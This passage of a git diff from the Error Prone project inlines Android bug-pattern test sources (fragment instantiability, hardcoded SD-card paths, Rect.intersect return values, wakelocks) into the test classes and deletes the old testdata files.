CompilationTestHelper.newInstance(BinderIdentityRestoredDangerously.class, getClass()) - .addSourceFile("testdata/stubs/android/os/Binder.java") + .addSourceLines( + "Binder.java", + """ + package android.os; + + public class Binder { + public static final long clearCallingIdentity() { + return 1; + } + + public static final void restoreCallingIdentity(long token) {} + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentInjectionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentInjectionTest.java index 4b560b99306..ade90eeffe6 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentInjectionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentInjectionTest.java @@ -30,7 +30,17 @@ public final class FragmentInjectionTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(FragmentInjection.class, getClass()) - .addSourceFile("testdata/stubs/android/preference/PreferenceActivity.java") + .addSourceLines( + "PreferenceActivity.java", + """ + package android.preference; + + @SuppressWarnings("FragmentInjection") + public class PreferenceActivity { + protected boolean isValidFragment(String className) { + return true; + } + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentNotInstantiableTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentNotInstantiableTest.java index 8f0528c73cd..2ddc85e10d7 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentNotInstantiableTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/FragmentNotInstantiableTest.java @@ -46,40 +46,486 @@ public CustomFragmentNotInstantiable() { @Test public void positiveCases() { createCompilationTestHelper(FragmentNotInstantiable.class) - .addSourceFile("testdata/FragmentNotInstantiablePositiveCases.java") + .addSourceLines( + "FragmentNotInstantiablePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + import android.app.Fragment; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class FragmentNotInstantiablePositiveCases { + // BUG: Diagnostic contains: public + static class PrivateFragment extends Fragment { + public PrivateFragment() {} + } + + // BUG: Diagnostic contains: public + static class PrivateV4Fragment extends android.support.v4.app.Fragment { + public PrivateV4Fragment() {} + } + + public static class PrivateConstructor extends Fragment { + // BUG: Diagnostic contains: public + PrivateConstructor() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructor extends Fragment { + public NoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructorV4 extends android.support.v4.app.Fragment { + public NoConstructorV4(int x) {} + } + + public static class ParentFragment extends Fragment { + public ParentFragment() {} + } + + public static class ParentFragmentV4 extends android.support.v4.app.Fragment { + public ParentFragmentV4() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructor extends ParentFragment { + public DerivedFragmentNoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 { + public DerivedFragmentNoConstructorV4(boolean b) {} + } + + public class EnclosingClass { + // BUG: Diagnostic contains: static + public class InnerFragment extends Fragment { + public InnerFragment() {} + } + + public Fragment create1() { + // BUG: Diagnostic contains: public + return new Fragment() {}; + } + + public Fragment create2() { + // BUG: Diagnostic contains: public + class LocalFragment extends Fragment {} + return new LocalFragment(); + } + } + }""") .doTest(); } @Test public void negativeCase() { createCompilationTestHelper(FragmentNotInstantiable.class) - .addSourceFile("testdata/FragmentNotInstantiableNegativeCases.java") + .addSourceLines( + "FragmentNotInstantiableNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + import android.app.Fragment; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class FragmentNotInstantiableNegativeCases { + public static class NotAFragment1 { + public NotAFragment1(int x) {} + } + + public static class NotAFragment2 { + private NotAFragment2() {} + } + + private static class NotAFragment3 {} + + public class NotAFragment4 {} + + private abstract class AbstractFragment extends Fragment { + public AbstractFragment(int x) {} + } + + private abstract class AbstractV4Fragment extends android.support.v4.app.Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class MyFragment extends Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class DerivedFragment extends MyFragment {} + + public static class MyV4Fragment extends android.support.v4.app.Fragment {} + + public static class DerivedV4Fragment extends MyV4Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class MyFragment2 extends Fragment { + public MyFragment2() {} + + public MyFragment2(int x) {} + } + + public static class DerivedFragment2 extends MyFragment2 { + public DerivedFragment2() {} + + public DerivedFragment2(boolean b) {} + } + + public static class EnclosingClass { + public static class InnerFragment extends Fragment { + public InnerFragment() {} + } + } + + interface AnInterface { + public class ImplicitlyStaticInnerFragment extends Fragment {} + + class ImplicitlyStaticAndPublicInnerFragment extends Fragment {} + } + }""") .doTest(); } @Test public void positiveCases_custom() { createCompilationTestHelper(CustomFragmentNotInstantiable.class) - .addSourceFile("testdata/FragmentNotInstantiablePositiveCases.java") - .addSourceFile("testdata/CustomFragment.java") - .addSourceFile("testdata/CustomFragmentNotInstantiablePositiveCases.java") + .addSourceLines( + "FragmentNotInstantiablePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + import android.app.Fragment; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class FragmentNotInstantiablePositiveCases { + // BUG: Diagnostic contains: public + static class PrivateFragment extends Fragment { + public PrivateFragment() {} + } + + // BUG: Diagnostic contains: public + static class PrivateV4Fragment extends android.support.v4.app.Fragment { + public PrivateV4Fragment() {} + } + + public static class PrivateConstructor extends Fragment { + // BUG: Diagnostic contains: public + PrivateConstructor() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructor extends Fragment { + public NoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructorV4 extends android.support.v4.app.Fragment { + public NoConstructorV4(int x) {} + } + + public static class ParentFragment extends Fragment { + public ParentFragment() {} + } + + public static class ParentFragmentV4 extends android.support.v4.app.Fragment { + public ParentFragmentV4() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructor extends ParentFragment { + public DerivedFragmentNoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 { + public DerivedFragmentNoConstructorV4(boolean b) {} + } + + public class EnclosingClass { + // BUG: Diagnostic contains: static + public class InnerFragment extends Fragment { + public InnerFragment() {} + } + + public Fragment create1() { + // BUG: Diagnostic contains: public + return new Fragment() {}; + } + + public Fragment create2() { + // BUG: Diagnostic contains: public + class LocalFragment extends Fragment {} + return new LocalFragment(); + } + } + }""") + .addSourceLines( + "CustomFragment.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author jasonlong@google.com (Jason Long) + */ + public class CustomFragment {}""") + .addSourceLines( + "CustomFragmentNotInstantiablePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author jasonlong@google.com (Jason Long) + */ + public class CustomFragmentNotInstantiablePositiveCases { + // BUG: Diagnostic contains: public + static class PrivateFragment extends CustomFragment { + public PrivateFragment() {} + } + + public static class PrivateConstructor extends CustomFragment { + // BUG: Diagnostic contains: public + PrivateConstructor() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructor extends CustomFragment { + public NoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructorV4 extends android.support.v4.app.Fragment { + public NoConstructorV4(int x) {} + } + + public static class ParentFragment extends CustomFragment { + public ParentFragment() {} + } + + public static class ParentFragmentV4 extends android.support.v4.app.Fragment { + public ParentFragmentV4() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructor extends ParentFragment { + public DerivedFragmentNoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 { + public DerivedFragmentNoConstructorV4(boolean b) {} + } + + public class EnclosingClass { + // BUG: Diagnostic contains: static + public class InnerFragment extends CustomFragment { + public InnerFragment() {} + } + + public CustomFragment create1() { + // BUG: Diagnostic contains: public + return new CustomFragment() {}; + } + + public CustomFragment create2() { + // BUG: Diagnostic contains: public + class LocalFragment extends CustomFragment {} + return new LocalFragment(); + } + } + }""") .doTest(); } @Test public void negativeCase_custom() { createCompilationTestHelper(CustomFragmentNotInstantiable.class) - .addSourceFile("testdata/FragmentNotInstantiableNegativeCases.java") - .addSourceFile("testdata/CustomFragment.java") - .addSourceFile("testdata/CustomFragmentNotInstantiableNegativeCases.java") + .addSourceLines( + "FragmentNotInstantiableNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + import android.app.Fragment; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class FragmentNotInstantiableNegativeCases { + public static class NotAFragment1 { + public NotAFragment1(int x) {} + } + + public static class NotAFragment2 { + private NotAFragment2() {} + } + + private static class NotAFragment3 {} + + public class NotAFragment4 {} + + private abstract class AbstractFragment extends Fragment { + public AbstractFragment(int x) {} + } + + private abstract class AbstractV4Fragment extends android.support.v4.app.Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class MyFragment extends Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class DerivedFragment extends MyFragment {} + + public static class MyV4Fragment extends android.support.v4.app.Fragment {} + + public static class DerivedV4Fragment extends MyV4Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class MyFragment2 extends Fragment { + public MyFragment2() {} + + public MyFragment2(int x) {} + } + + public static class DerivedFragment2 extends MyFragment2 { + public DerivedFragment2() {} + + public DerivedFragment2(boolean b) {} + } + + public static class EnclosingClass { + public static class InnerFragment extends Fragment { + public InnerFragment() {} + } + } + + interface AnInterface { + public class ImplicitlyStaticInnerFragment extends Fragment {} + + class ImplicitlyStaticAndPublicInnerFragment extends Fragment {} + } + }""") + .addSourceLines( + "CustomFragment.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author jasonlong@google.com (Jason Long) + */ + public class CustomFragment {}""") + .addSourceLines( + "CustomFragmentNotInstantiableNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author jasonlong@google.com (Jason Long) + */ + public class CustomFragmentNotInstantiableNegativeCases { + public static class NotAFragment1 { + public NotAFragment1(int x) {} + } + + public static class NotAFragment2 { + private NotAFragment2() {} + } + + private static class NotAFragment3 {} + + public class NotAFragment4 {} + + private abstract class AbstractFragment extends CustomFragment { + public AbstractFragment(int x) {} + } + + public static class MyFragment extends CustomFragment { + private int a; + + public int value() { + return a; + } + } + + public static class DerivedFragment extends MyFragment {} + + public static class MyFragment2 extends CustomFragment { + public MyFragment2() {} + + public MyFragment2(int x) {} + } + + public static class DerivedFragment2 extends MyFragment2 { + public DerivedFragment2() {} + + public DerivedFragment2(boolean b) {} + } + + public static class EnclosingClass { + public static class InnerFragment extends CustomFragment { + public InnerFragment() {} + } + } + + interface AnInterface { + public class ImplicitlyStaticInnerFragment extends CustomFragment {} + + class ImplicitlyStaticAndPublicInnerFragment extends CustomFragment {} + } + }""") .doTest(); } private CompilationTestHelper createCompilationTestHelper( Class bugCheckerClass) { return CompilationTestHelper.newInstance(bugCheckerClass, getClass()) - .addSourceFile("testdata/stubs/android/app/Fragment.java") - .addSourceFile("testdata/stubs/android/support/v4/app/Fragment.java") + .addSourceLines( + "Fragment.java", + """ + package android.app; + + public class Fragment {}""") + .addSourceLines( + "Fragment.java", + """ + package android.support.v4.app; + + public class Fragment {}""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/HardCodedSdCardPathTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/HardCodedSdCardPathTest.java index bf6ebe42f81..11042158b9b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/HardCodedSdCardPathTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/HardCodedSdCardPathTest.java @@ -34,7 +34,52 @@ public class HardCodedSdCardPathTest { public void matchingCode_onAndroid() { compilationHelper .setArgs(ImmutableList.of("-XDandroidCompatible=true")) - .addSourceFile("testdata/HardCodedSdCardPathPositiveCases.java") + .addSourceLines( + "HardCodedSdCardPathPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class HardCodedSdCardPathPositiveCases { + // BUG: Diagnostic contains: Environment + static final String PATH1 = "/sdcard"; + + // BUG: Diagnostic contains: Environment + static final String PATH2 = "/sdcard/file1"; + + // BUG: Diagnostic contains: Environment + static final String PATH3 = "/mnt/sdcard/file2"; + + // BUG: Diagnostic contains: Environment + static final String PATH4 = "/" + "sd" + "card"; + + // BUG: Diagnostic contains: Environment + static final String PATH5 = "/system/media/sdcard"; + + // BUG: Diagnostic contains: Environment + static final String PATH6 = "/system/media/sdcard/file3"; + + // BUG: Diagnostic contains: Environment + static final String PATH7 = "file://sdcard/file2"; + + // BUG: Diagnostic contains: Environment + static final String PATH8 = "file:///sdcard/file2"; + + // BUG: Diagnostic contains: Context + static final String PATH9 = "/data/data/dir/file"; + + // BUG: Diagnostic contains: Context + static final String PATH10 = "/data/user/file1"; + + static final String FRAGMENT1 = "/data"; + + static final String FRAGMENT2 = "/user"; + + // BUG: Diagnostic contains: Context + static final String PATH11 = "/data" + "/" + "user"; + }""") .doTest(); } @@ -56,7 +101,33 @@ public class HardCodedSdCardPathMatchingCode { public void negativeCase() { compilationHelper .setArgs(ImmutableList.of("-XDandroidCompatible=true")) - .addSourceFile("testdata/HardCodedSdCardPathNegativeCases.java") + .addSourceLines( + "HardCodedSdCardPathNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class HardCodedSdCardPathNegativeCases { + static final String PATH1 = "/home/sdcard"; + + static final String PATH2 = "/data/file1"; + + static final String FRAGMENT1 = "/root"; + + static final String FRAGMENT2 = "sdcard"; + + static final String PATH3 = FRAGMENT1 + "/" + FRAGMENT2; + + static final String PATH4 = "/data/dir/file2"; + + static final String FRAGMENT3 = "/data"; + + static final String FRAGMENT4 = "1user"; + + static final String PATH5 = FRAGMENT3 + "/" + FRAGMENT4; + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/IsLoggableTagLengthTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/IsLoggableTagLengthTest.java index 203d66d4bc2..78d2d551b33 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/IsLoggableTagLengthTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/IsLoggableTagLengthTest.java @@ -30,7 +30,18 @@ public final class IsLoggableTagLengthTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(IsLoggableTagLength.class, getClass()) - .addSourceFile("testdata/stubs/android/util/Log.java") + .addSourceLines( + "Log.java", + """ + package android.util; + + public class Log { + public static boolean isLoggable(String tag, int level) { + return false; + } + + public static final int INFO = 0; + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/MislabeledAndroidStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/MislabeledAndroidStringTest.java index 8c7aa76a375..fe744b8c58a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/MislabeledAndroidStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/MislabeledAndroidStringTest.java @@ -122,7 +122,18 @@ public void assumedMeanings() { private CompilationTestHelper createCompilationTestHelper() { return CompilationTestHelper.newInstance(MislabeledAndroidString.class, getClass()) - .addSourceFile("testdata/stubs/android/R.java") + .addSourceLines( + "R.java", + """ + package android; + + public class R { + public static final class string { + public static final int yes = 0; + public static final int no = 1; + public static final int copy = 2; + } + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/RectIntersectReturnValueIgnoredTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/RectIntersectReturnValueIgnoredTest.java index 11d45a794ac..e75af23159b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/RectIntersectReturnValueIgnoredTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/RectIntersectReturnValueIgnoredTest.java @@ -29,20 +29,134 @@ public class RectIntersectReturnValueIgnoredTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(RectIntersectReturnValueIgnored.class, getClass()) - .addSourceFile("testdata/stubs/android/graphics/Rect.java") + .addSourceLines( + "Rect.java", + """ + package android.graphics; + + public class Rect { + public boolean intersect(int x, int y, int x2, int y2) { + return false; + } + + public boolean intersect(Rect other) { + return false; + } + + public void setEmpty() {} + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/RectIntersectReturnValueIgnoredPositiveCases.java") + .addSourceLines( + "RectIntersectReturnValueIgnoredPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.android.testdata; + +import android.graphics.Rect; + +/** + * @author avenet@google.com (Arnaud J. Venet) + */ +public class RectIntersectReturnValueIgnoredPositiveCases { + void checkSimpleCall(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { + // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked + rect.intersect(aLeft, aTop, aRight, aBottom); + } + + void checkOverload(Rect rect1, Rect rect2) { + // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked + rect1.intersect(rect2); + } + + class RectContainer { + int xPos; + int yPos; + Rect rect; + + boolean intersect(int length, int width) { + // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked + rect.intersect(xPos, yPos, xPos + length, yPos + width); + return true; + } + } + + void checkInMethod(int length, int width) { + RectContainer container = new RectContainer(); + container.intersect(length, width); + } + + void checkInField(RectContainer container) { + // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked + container.rect.intersect( + container.xPos, container.yPos, container.xPos + 10, container.yPos + 20); + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/RectIntersectReturnValueIgnoredNegativeCases.java") + .addSourceLines( + "RectIntersectReturnValueIgnoredNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + import android.graphics.Rect; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class RectIntersectReturnValueIgnoredNegativeCases { + boolean checkSimpleCall(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { + return rect.intersect(aLeft, aTop, aRight, aBottom); + } + + boolean checkOverload(Rect rect1, Rect rect2) { + return rect1.intersect(rect2); + } + + void checkInTest(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { + if (!rect.intersect(aLeft, aTop, aRight, aBottom)) { + rect.setEmpty(); + } + } + + class InternalScope { + class Rect { + int left; + int right; + int top; + int bottom; + + boolean intersect(int aLeft, int aTop, int aRight, int aBottom) { + throw new RuntimeException("Not implemented"); + } + } + + void checkHomonym(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { + rect.intersect(aLeft, aTop, aRight, aBottom); + } + } + + class RectContainer { + int xPos; + int yPos; + Rect rect; + + boolean intersect(int length, int width) { + return rect.intersect(xPos, yPos, xPos + length, yPos + width); + } + } + + void checkInMethod(int length, int width) { + RectContainer container = new RectContainer(); + container.intersect(length, width); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/WakelockReleasedDangerouslyTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/WakelockReleasedDangerouslyTest.java index dbbb0530af5..28f4ce8c46c 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/WakelockReleasedDangerouslyTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/WakelockReleasedDangerouslyTest.java @@ -32,11 +32,49 @@ public class WakelockReleasedDangerouslyTest { private final BugCheckerRefactoringTestHelper refactoringHelper = BugCheckerRefactoringTestHelper.newInstance(WakelockReleasedDangerously.class, getClass()) .setArgs(ImmutableList.of("-XDandroidCompatible=true")) - .addInput("testdata/stubs/android/os/PowerManager.java") + .addInputLines( + "PowerManager.java", + """ + package android.os; + + public interface PowerManager { + class WakeLock { + public void acquire() {} + + public void acquire(int timeout) {} + + public boolean isHeld() { + return true; + } + + public void release() {} + + public void setReferenceCounted(boolean referenceCounted) {} + } + }""") .expectUnchanged(); private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(WakelockReleasedDangerously.class, getClass()) - .addSourceFile("testdata/stubs/android/os/PowerManager.java") + .addSourceLines( + "PowerManager.java", + """ + package android.os; + + public interface PowerManager { + class WakeLock { + public void acquire() {} + + public void acquire(int timeout) {} + + public boolean isHeld() { + return true; + } + + public void release() {} + + public void setReferenceCounted(boolean referenceCounted) {} + } + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiableNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiableNegativeCases.java deleted file mode 100644 index 39030c42703..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiableNegativeCases.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -/** - * @author jasonlong@google.com (Jason Long) - */ -public class CustomFragmentNotInstantiableNegativeCases { - public static class NotAFragment1 { - public NotAFragment1(int x) {} - } - - public static class NotAFragment2 { - private NotAFragment2() {} - } - - private static class NotAFragment3 {} - - public class NotAFragment4 {} - - private abstract class AbstractFragment extends CustomFragment { - public AbstractFragment(int x) {} - } - - public static class MyFragment extends CustomFragment { - private int a; - - public int value() { - return a; - } - } - - public static class DerivedFragment extends MyFragment {} - - public static class MyFragment2 extends CustomFragment { - public MyFragment2() {} - - public MyFragment2(int x) {} - } - - public static class DerivedFragment2 extends MyFragment2 { - public DerivedFragment2() {} - - public DerivedFragment2(boolean b) {} - } - - public static class EnclosingClass { - public static class InnerFragment extends CustomFragment { - public InnerFragment() {} - } - } - - interface AnInterface { - public class ImplicitlyStaticInnerFragment extends CustomFragment {} - - class ImplicitlyStaticAndPublicInnerFragment extends CustomFragment {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiablePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiablePositiveCases.java deleted file mode 100644 index 6e1c506262d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiablePositiveCases.java +++ /dev/null @@ -1,78 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -/** - * @author jasonlong@google.com (Jason Long) - */ -public class CustomFragmentNotInstantiablePositiveCases { - // BUG: Diagnostic contains: public - static class PrivateFragment extends CustomFragment { - public PrivateFragment() {} - } - - public static class PrivateConstructor extends CustomFragment { - // BUG: Diagnostic contains: public - PrivateConstructor() {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class NoConstructor extends CustomFragment { - public NoConstructor(int x) {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class NoConstructorV4 extends android.support.v4.app.Fragment { - public NoConstructorV4(int x) {} - } - - public static class ParentFragment extends CustomFragment { - public ParentFragment() {} - } - - public static class ParentFragmentV4 extends android.support.v4.app.Fragment { - public ParentFragmentV4() {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class DerivedFragmentNoConstructor extends ParentFragment { - public DerivedFragmentNoConstructor(int x) {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 { - public DerivedFragmentNoConstructorV4(boolean b) {} - } - - public class EnclosingClass { - // BUG: Diagnostic contains: static - public class InnerFragment extends CustomFragment { - public InnerFragment() {} - } - - public CustomFragment create1() { - // BUG: Diagnostic contains: public - return new CustomFragment() {}; - } - - public CustomFragment create2() { - // BUG: Diagnostic contains: public - class LocalFragment extends CustomFragment {} - return new LocalFragment(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiableNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiableNegativeCases.java deleted file mode 100644 index 82c485b0edf..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiableNegativeCases.java +++ /dev/null @@ -1,92 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -import android.app.Fragment; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class FragmentNotInstantiableNegativeCases { - public static class NotAFragment1 { - public NotAFragment1(int x) {} - } - - public static class NotAFragment2 { - private NotAFragment2() {} - } - - private static class NotAFragment3 {} - - public class NotAFragment4 {} - - private abstract class AbstractFragment extends Fragment { - public AbstractFragment(int x) {} - } - - private abstract class AbstractV4Fragment extends android.support.v4.app.Fragment { - private int a; - - public int value() { - return a; - } - } - - public static class MyFragment extends Fragment { - private int a; - - public int value() { - return a; - } - } - - public static class DerivedFragment extends MyFragment {} - - public static class MyV4Fragment extends android.support.v4.app.Fragment {} - - public static class DerivedV4Fragment extends MyV4Fragment { - private int a; - - public int value() { - return a; - } - } - - public static class MyFragment2 extends Fragment { - public MyFragment2() {} - - public MyFragment2(int x) {} - } - - public static class DerivedFragment2 extends MyFragment2 { - public DerivedFragment2() {} - - public DerivedFragment2(boolean b) {} - } - - public static class EnclosingClass { - public static class InnerFragment extends Fragment { - public InnerFragment() {} - } - } - - interface AnInterface { - public class ImplicitlyStaticInnerFragment extends Fragment {} - - class ImplicitlyStaticAndPublicInnerFragment extends Fragment {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiablePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiablePositiveCases.java deleted file mode 100644 index 71c99dc59ba..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiablePositiveCases.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -import android.app.Fragment; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class FragmentNotInstantiablePositiveCases { - // BUG: Diagnostic contains: public - static class PrivateFragment extends Fragment { - public PrivateFragment() {} - } - - // BUG: Diagnostic contains: public - static class PrivateV4Fragment extends android.support.v4.app.Fragment { - public PrivateV4Fragment() {} - } - - public static class PrivateConstructor extends Fragment { - // BUG: Diagnostic contains: public - PrivateConstructor() {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class NoConstructor extends Fragment { - public NoConstructor(int x) {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class NoConstructorV4 extends android.support.v4.app.Fragment { - public NoConstructorV4(int x) {} - } - - public static class ParentFragment extends Fragment { - public ParentFragment() {} - } - - public static class ParentFragmentV4 extends android.support.v4.app.Fragment { - public ParentFragmentV4() {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class DerivedFragmentNoConstructor extends ParentFragment { - public DerivedFragmentNoConstructor(int x) {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 { - public DerivedFragmentNoConstructorV4(boolean b) {} - } - - public class EnclosingClass { - // BUG: Diagnostic contains: static - public class InnerFragment extends Fragment { - public InnerFragment() {} - } - - public Fragment create1() { - // BUG: Diagnostic contains: public - return new Fragment() {}; - } - - public Fragment create2() { - // BUG: Diagnostic contains: public - class LocalFragment extends Fragment {} - return new LocalFragment(); - } - } -} diff --git 